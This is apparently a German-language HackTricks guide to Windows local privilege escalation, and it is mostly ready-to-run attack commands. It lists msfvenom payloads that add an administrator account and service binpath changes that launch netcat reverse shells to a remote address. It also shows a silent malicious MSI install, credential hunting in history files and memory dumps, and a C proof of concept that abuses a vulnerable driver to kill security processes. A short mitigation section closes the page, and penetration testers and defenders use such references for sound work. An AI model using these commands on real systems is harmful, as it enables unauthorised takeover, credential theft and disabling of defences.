Windows Local Privilege Escalation

Reading time: 61 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Bestes Tool, um nach Windows local privilege escalation Vektoren zu suchen: WinPEAS

Einführende Windows-Theorie

Access Tokens

Wenn du nicht weißt, was Windows Access Tokens sind, lies die folgende Seite, bevor du fortfährst:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Sieh dir die folgende Seite für mehr Informationen über ACLs - DACLs/SACLs/ACEs an:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Wenn du nicht weißt, was integrity levels in Windows sind, solltest du die folgende Seite lesen, bevor du fortfährst:

Integrity Levels

Windows Security Controls

Es gibt verschiedene Dinge in Windows, die dich daran hindern können, das System zu enumerieren, Executables auszuführen oder sogar deine Aktivitäten zu erkennen. Du solltest die folgende Seite lesen und alle diese Abwehrmechanismen aufzählen, bevor du mit der privilege escalation enumeration beginnst:

Windows Security Controls

System Info

Version info enumeration

Prüfe, ob die Windows-Version bekannte Schwachstellen hat (prüfe auch die installierten Patches).

bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
bash
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

Diese site ist praktisch, um detaillierte Informationen über Microsoft-Sicherheitslücken zu finden. Diese Datenbank enthält mehr als 4.700 Sicherheitslücken und zeigt die enorme Angriffsfläche, die eine Windows-Umgebung darstellt.

On the system

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas hat watson eingebettet)

Locally with system information

Github repos of exploits:

Environment

Sind irgendwelche credentials/Juicy-Informationen in den env-Variablen gespeichert?

bash
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell-Verlauf

bash
ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell Transkriptdateien

Wie Sie dies aktivieren, erfahren Sie unter https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Details der PowerShell-Pipeline-Ausführungen werden protokolliert und umfassen ausgeführte Befehle, Befehlsaufrufe und Teile von Skripten. Vollständige Ausführungsdetails und Ausgabeergebnisse werden jedoch möglicherweise nicht komplett erfasst.

Um dies zu aktivieren, befolgen Sie die Anweisungen im Abschnitt "Transcript files" der Dokumentation und wählen Sie "Module Logging" statt "Powershell Transcription".

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Um die letzten 15 Events aus den PowersShell logs anzuzeigen, können Sie ausführen:

bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Ein vollständiger Aktivitäts- und Inhaltsnachweis der Skriptausführung wird erfasst, sodass jeder Codeblock beim Ausführen dokumentiert wird. Dieser Prozess bewahrt eine umfassende Prüfspur jeder Aktivität und ist wertvoll für Forensik sowie die Analyse bösartiger Aktivitäten. Durch die Dokumentation aller Aktivitäten zum Zeitpunkt der Ausführung werden detaillierte Einblicke in den Ablauf gewonnen.

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Protokollereignisse für das Script Block finden Sie in der Windows-Ereignisanzeige unter dem Pfad: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Um die letzten 20 Ereignisse anzuzeigen, können Sie Folgendes verwenden:

bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Interneteinstellungen

bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Laufwerke

bash
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Du kannst das System kompromittieren, wenn die Updates nicht über httpS sondern über http angefordert werden.

Du beginnst damit zu prüfen, ob das Netzwerk ein non-SSL WSUS-Update verwendet, indem du Folgendes in cmd ausführst:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Oder Folgendes in PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Wenn Sie eine der folgenden Antworten erhalten:

bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
bash
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

Und wenn HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer oder Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" gleich 1 ist.

Dann ist es ausnutzbar. Wenn der letzte Registrierungswert gleich 0 ist, wird der WSUS-Eintrag ignoriert.

Um diese Schwachstellen auszunutzen, können Sie Tools wie verwenden: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic.

Read the research here:

WSUS CVE-2020-1013

Den vollständigen Bericht hier lesen.
Grundsätzlich ist dies der Fehler, den dieser Bug ausnutzt:

Wenn wir die Möglichkeit haben, unseren lokalen Benutzerproxy zu ändern, und Windows Updates den in den Internet Explorer-Einstellungen konfigurierten Proxy verwendet, haben wir daher die Möglichkeit, PyWSUS lokal auszuführen, um unseren eigenen Verkehr abzufangen und Code als erhöhter Benutzer auf unserem System auszuführen.

Außerdem, da der WSUS-Dienst die Einstellungen des aktuellen Benutzers verwendet, wird er auch dessen Zertifikatsspeicher verwenden. Wenn wir ein selbstsigniertes Zertifikat für den WSUS-Hostname erzeugen und dieses Zertifikat in den Zertifikatsspeicher des aktuellen Benutzers einfügen, können wir sowohl HTTP- als auch HTTPS-WSUS-Verkehr abfangen. WSUS verwendet keine HSTS-ähnlichen Mechanismen, um eine trust-on-first-use-ähnliche Validierung des Zertifikats durchzuführen. Wenn das präsentierte Zertifikat vom Benutzer als vertrauenswürdig eingestuft wird und den korrekten Hostnamen hat, wird es vom Dienst akzeptiert.

Sie können diese Schwachstelle mit dem Tool WSUSpicious ausnutzen (sobald es verfügbar ist).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Viele Enterprise-Agenten stellen eine localhost-IPC-Schnittstelle und einen privilegierten Update-Kanal bereit. Wenn die Enrollment auf einen Angreifer-Server umgelenkt werden kann und der Updater einer rogue root CA oder schwachen Signaturprüfungen vertraut, kann ein lokaler Benutzer ein bösartiges MSI bereitstellen, das vom SYSTEM-Dienst installiert wird. Siehe hier eine verallgemeinerte Technik (basierend auf der Netskope stAgentSvc-Kette – CVE-2025-0309):

Abusing Auto Updaters And Ipc

KrbRelayUp

Eine local privilege escalation-Schwachstelle existiert in Windows-Domain-Umgebungen unter bestimmten Bedingungen. Diese Bedingungen umfassen Umgebungen, in denen LDAP signing is not enforced, Benutzer über Rechte verfügen, die es ihnen erlauben, Resource-Based Constrained Delegation (RBCD) zu konfigurieren, sowie die Möglichkeit, Computer innerhalb der Domäne zu erstellen. Es ist wichtig zu beachten, dass diese Anforderungen mit den Standardeinstellungen erfüllt sind.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

If diese 2 Registrierungswerte sind aktiviert (Wert ist 0x1), dann können Benutzer jeglicher Berechtigung *.msi-Dateien als NT AUTHORITY\SYSTEM installieren (ausführen).

bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

bash
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Wenn Sie eine meterpreter Sitzung haben, können Sie diese Technik mit dem Modul exploit/windows/local/always_install_elevated automatisieren

PowerUP

Verwenden Sie den Befehl Write-UserAddMSI von power-up, um im aktuellen Verzeichnis ein Windows MSI binary zu erstellen, mit dem Sie Privilegien eskalieren können. Dieses Skript schreibt einen vorkompilierten MSI-Installer, der zur Hinzufügung eines Benutzers/einer Gruppe auffordert (Sie benötigen also GIU access):

Write-UserAddMSI

Führe einfach das erstellte Binary aus, um Privilegien zu eskalieren.

MSI Wrapper

Lies dieses Tutorial, um zu lernen, wie man einen MSI Wrapper mit diesen Tools erstellt. Beachte, dass du eine ".bat" Datei einpacken kannst, wenn du nur Kommandozeilen ausführen willst.

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Generate mit Cobalt Strike oder Metasploit ein new Windows EXE TCP payload in C:\privesc\beacon.exe
  • Öffne Visual Studio, wähle Create a new project und gib "installer" in das Suchfeld ein. Wähle das Setup Wizard Projekt und klicke auf Next.
  • Vergib dem Projekt einen Namen, z. B. AlwaysPrivesc, verwende C:\privesc als Ort, wähle place solution and project in the same directory, und klicke auf Create.
  • Klicke weiter auf Next, bis du Schritt 3 von 4 erreichst (choose files to include). Klicke Add und wähle die Beacon Payload, die du gerade generiert hast. Dann klicke auf Finish.
  • Markiere das AlwaysPrivesc Projekt im Solution Explorer und ändere in den Properties TargetPlatform von x86 auf x64.
  • Es gibt weitere Eigenschaften, die du ändern kannst, wie Author und Manufacturer, die die installierte App legitimer erscheinen lassen können.
  • Rechtsklicke das Projekt und wähle View > Custom Actions.
  • Rechtsklicke Install und wähle Add Custom Action.
  • Doppelklicke auf Application Folder, wähle deine beacon.exe Datei und klicke OK. Dadurch wird sichergestellt, dass die Beacon Payload ausgeführt wird, sobald der Installer gestartet wird.
  • Unter den Custom Action Properties ändere Run64Bit auf True.
  • Baue es abschließend build it.
  • Wenn die Warnung File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' angezeigt wird, stelle sicher, dass du die Plattform auf x64 gesetzt hast.

MSI Installation

Um die installation der bösartigen .msi Datei im Hintergrund auszuführen:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Um diese Schwachstelle auszunutzen, können Sie Folgendes verwenden: exploit/windows/local/always_install_elevated

Antivirus und Detektoren

Audit-Einstellungen

Diese Einstellungen bestimmen, was protokolliert wird, daher sollten Sie darauf achten

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding — es ist interessant zu wissen, wohin die logs gesendet werden.

bash
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS wurde für die Verwaltung von lokalen Administratorpasswörtern entwickelt und stellt sicher, dass jedes Passwort auf domänenverbundenen Computern einzigartig, zufällig und regelmäßig aktualisiert wird. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, denen über ACLs ausreichende Berechtigungen gewährt wurden, sodass sie lokale Administratorpasswörter einsehen können, wenn sie autorisiert sind.

LAPS

WDigest

Wenn aktiviert, werden Klartext-Passwörter in LSASS (Local Security Authority Subsystem Service) gespeichert.
More info about WDigest in this page.

bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Ab Windows 8.1 hat Microsoft einen erweiterten Schutz für die Local Security Authority (LSA) eingeführt, um Versuche von nicht vertrauenswürdigen Prozessen zu blockieren, seinen Speicher auszulesen oder Code zu injizieren und so das System weiter abzusichern.
More info about LSA Protection here.

bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard wurde in Windows 10 eingeführt. Sein Zweck ist es, die auf einem Gerät gespeicherten credentials gegen Bedrohungen wie pass-the-hash attacks zu schützen.| More info about Credentials Guard here.

bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials werden von der Local Security Authority (LSA) authentifiziert und von Betriebssystemkomponenten genutzt. Wenn die Anmeldedaten eines Benutzers von einem registrierten security package authentifiziert werden, werden typischerweise Domain credentials für den Benutzer erstellt.
Weitere Informationen zu Cached Credentials hier.

bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Benutzer & Gruppen

Benutzer & Gruppen auflisten

Prüfe, ob eine der Gruppen, denen du angehörst, interessante Berechtigungen hat.

bash
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privilegierte Gruppen

Wenn du einer privilegierten Gruppe angehörst, kannst du möglicherweise Privilegien eskalieren. Erfahre hier, welche privilegierten Gruppen es gibt und wie man sie ausnutzt, um Privilegien zu eskalieren:

Privileged Groups

Token-Manipulation

Erfahre mehr darüber, was ein token ist, auf dieser Seite: Windows Tokens.
Sieh dir die folgende Seite an, um mehr über interessante tokens und deren Ausnutzung zu erfahren:

Abusing Tokens

Angemeldete Benutzer / Sitzungen

bash
qwinsta
klist sessions

Home-Ordner

bash
dir C:\Users
Get-ChildItem C:\Users

Kennwortrichtlinie

bash
net accounts

Inhalt der Zwischenablage abrufen

bash
powershell -command "Get-Clipboard"

Laufende Prozesse

Datei- und Ordnerberechtigungen

Zuerst beim Auflisten der Prozesse prüfe auf Passwörter in der Befehlszeile des Prozesses.
Prüfe, ob du eine laufende Binärdatei überschreiben kannst oder ob du Schreibrechte für den Ordner der Binärdateien hast, um mögliche DLL Hijacking attacks auszunutzen:

bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Prüfe immer auf mögliche electron/cef/chromium debuggers running, you could abuse it to escalate privileges.

Berechtigungen der Prozess-Binaries prüfen

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Überprüfen der Berechtigungen der Ordner der Prozess-Binaries (DLL Hijacking)

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Du kannst einen memory dump eines laufenden Prozesses mit procdump von sysinternals erstellen. Dienste wie FTP speichern die credentials in clear text in memory – versuche, den Speicher zu dumpen und die credentials auszulesen.

bash
procdump.exe -accepteula -ma <proc_name_tasklist>

Unsichere GUI-Apps

Als SYSTEM ausgeführte Anwendungen können einem Benutzer erlauben, ein CMD zu starten oder Verzeichnisse zu durchsuchen.

Beispiel: "Windows Help and Support" (Windows + F1), suche nach "command prompt", klicke auf "Click to open Command Prompt"

Dienste

Service Triggers erlauben Windows, einen Service zu starten, wenn bestimmte Bedingungen eintreten (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Selbst ohne SERVICE_START-Rechte kann man oft privilegierte Services starten, indem man deren Triggers auslöst. Siehe enumeration and activation techniques hier:

Service Triggers

Liste der Services abrufen:

bash
net start
wmic service list brief
sc query
Get-Service

Berechtigungen

Du kannst sc verwenden, um Informationen zu einem Dienst abzurufen.

bash
sc qc <service_name>

Es wird empfohlen, das binary accesschk von Sysinternals zu haben, um das required privilege level für jeden Service zu überprüfen.

bash
accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Es wird empfohlen zu prüfen, ob "Authenticated Users" irgendeinen Dienst modifizieren kann:

bash
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Dienst aktivieren

Wenn Sie diesen Fehler erhalten (zum Beispiel bei SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Sie können es mit folgendem Befehl aktivieren

bash
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Beachte, dass der Dienst upnphost für sein Funktionieren auf SSDPSRV angewiesen ist (für XP SP1)

Another workaround dieses Problems ist das Ausführen von:

sc.exe config usosvc start= auto

Service-Binärpfad ändern

Im Szenario, in dem die Gruppe "Authenticated users" auf einen Service SERVICE_ALL_ACCESS besitzt, ist die Modifikation der ausführbaren Binärdatei des Service möglich. Um dies zu modifizieren und sc auszuführen:

bash
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Dienst neu starten

bash
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privilegien können über verschiedene Zugriffsrechte eskaliert werden:

  • SERVICE_CHANGE_CONFIG: Ermöglicht die Neukonfiguration der Service-Binärdatei.
  • WRITE_DAC: Ermöglicht das Ändern von Berechtigungen, wodurch Service-Konfigurationen verändert werden können.
  • WRITE_OWNER: Erlaubt den Erwerb des Besitzrechts und das Ändern von Berechtigungen.
  • GENERIC_WRITE: Gewährt die Möglichkeit, Service-Konfigurationen zu ändern.
  • GENERIC_ALL: Gewährt ebenfalls die Möglichkeit, Service-Konfigurationen zu ändern.

Zur Erkennung und Ausnutzung dieser Schwachstelle kann exploit/windows/local/service_permissions verwendet werden.

Services binaries weak permissions

Prüfe, ob du die Binärdatei ändern kannst, die von einem Service ausgeführt wird oder ob du Schreibrechte auf den Ordner hast, in dem die Binärdatei liegt (DLL Hijacking).
Du kannst jede Binärdatei, die von einem Service ausgeführt wird, mit wmic ermitteln (nicht in system32) und deine Berechtigungen mit icacls überprüfen:

bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Sie können auch sc und icacls:

bash
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Berechtigungen zur Änderung der Service-Registry

Du solltest prüfen, ob du irgendeine Service-Registry ändern kannst.\

Du kannst deine Berechtigungen an einer Service-Registry prüfen, indem du:

bash
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Es sollte geprüft werden, ob Authenticated Users oder NT AUTHORITY\INTERACTIVE FullControl-Berechtigungen besitzen. Falls ja, kann die vom Dienst ausgeführte Binärdatei verändert werden.

Um den Pfad der ausgeführten Binärdatei zu ändern:

bash
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services-Registry AppendData/AddSubdirectory permissions

Wenn Sie diese Berechtigung für einen Registry-Schlüssel haben, bedeutet das, dass Sie aus diesem Schlüssel Unterschlüssel erstellen können. Im Fall von Windows-Services ist das genug, um beliebigen Code auszuführen:

AppendData/AddSubdirectory permission over service registry

Nicht in Anführungszeichen gesetzte Service-Pfade

Wenn der Pfad zu einer ausführbaren Datei nicht in Anführungszeichen steht, versucht Windows, jede Teilangabe vor einem Leerzeichen auszuführen.

Zum Beispiel wird Windows für den Pfad C:\Program Files\Some Folder\Service.exe versuchen, folgende Dateien auszuführen:

bash
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Liste alle Dienstpfade ohne Anführungszeichen auf, ausgenommen diejenigen, die zu integrierten Windows-Diensten gehören:

bash
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
bash
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
bash
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Sie können diese Schwachstelle erkennen und ausnutzen mit metasploit: exploit/windows/local/trusted\_service\_path Sie können manuell eine Service-Binärdatei mit metasploit erstellen:

bash
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Wiederherstellungsaktionen

Windows erlaubt es Benutzern, Aktionen festzulegen, die ausgeführt werden sollen, wenn ein Dienst fehlschlägt. Diese Funktion kann so konfiguriert werden, dass sie auf ein Binary verweist. Wenn dieses Binary ersetzbar ist, könnte privilege escalation möglich sein. Weitere Details finden sich in der offiziellen Dokumentation.

Anwendungen

Installierte Anwendungen

Überprüfe die Berechtigungen der binaries (vielleicht kannst du eines überschreiben und privilege escalation erreichen) und die Ordner (DLL Hijacking).

bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Schreibberechtigungen

Prüfe, ob du eine Konfigurationsdatei ändern kannst, um eine bestimmte Datei zu lesen, oder ob du ein Binärprogramm ändern kannst, das von einem Administrator-Konto ausgeführt wird (schedtasks).

Eine Möglichkeit, schwache Ordner-/Dateiberechtigungen im System zu finden, ist:

bash
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
bash
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
bash
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Beim Start ausführen

Überprüfe, ob du eine Registry oder ein Binary überschreiben kannst, das von einem anderen Benutzer ausgeführt wird.
Lies die folgende Seite, um mehr über interessante autoruns locations to escalate privileges zu erfahren:

Privilege Escalation with Autoruns

Treiber

Suche nach möglichen Drittanbieter weird/vulnerable Treibern

bash
driverquery
driverquery.exe /fo table
driverquery /SI

Wenn ein Treiber ein beliebiges kernel read/write primitive offenlegt (häufig in schlecht gestalteten IOCTL handlers), kannst du durch das Stehlen eines SYSTEM token direkt aus dem kernel memory eskalieren. Siehe die Schritt‑für‑Schritt‑Technik hier:

Arbitrary Kernel Rw Token Theft

Ausnutzen fehlenden FILE_DEVICE_SECURE_OPEN bei Device-Objekten (LPE + EDR kill)

Einige signierte Drittanbieter-Treiber erstellen ihr Device-Objekt mit einem starken SDDL via IoCreateDeviceSecure, vergessen jedoch, FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics zu setzen. Ohne dieses Flag wird die secure DACL nicht durchgesetzt, wenn das Device über einen Pfad mit einer zusätzlichen Komponente geöffnet wird, wodurch jeder unprivilegierte Benutzer ein Handle erhalten kann, indem er einen Namespace-Pfad wie folgt verwendet:

  • \.\DeviceName\anything
  • \.\amsdk\anyfile (aus einem realen Fall)

Sobald ein Benutzer das Device öffnen kann, können vom Treiber bereitgestellte privilegierte IOCTLs für LPE und Manipulation missbraucht werden. Beispielhafte Fähigkeiten, die in der Praxis beobachtet wurden:

  • Gibt Handles mit Vollzugriff zu beliebigen Prozessen zurück (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Uneingeschränkter roher Festplatten-Lese-/Schreibzugriff (offline tampering, boot-time persistence tricks).
  • Beliebige Prozesse terminieren, einschließlich Protected Process/Light (PP/PPL), wodurch AV/EDR-Beendigungen aus dem Userland über den Kernel möglich sind.

Minimales PoC-Muster (User-Mode):

c
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Gegenmaßnahmen für Entwickler

  • Setze immer FILE_DEVICE_SECURE_OPEN, wenn du device objects erstellst, die durch eine DACL eingeschränkt werden sollen.
  • Validere den Caller-Kontext für privilegierte Operationen. Füge PP/PPL-Checks hinzu, bevor du Prozessbeendigung oder die Rückgabe von Handles erlaubst.
  • Beschränke IOCTLs (access masks, METHOD_*, Eingabevalidierung) und erwäge brokered models statt direkter Kernel-Privilegien.

Erkennungsansätze für Verteidiger

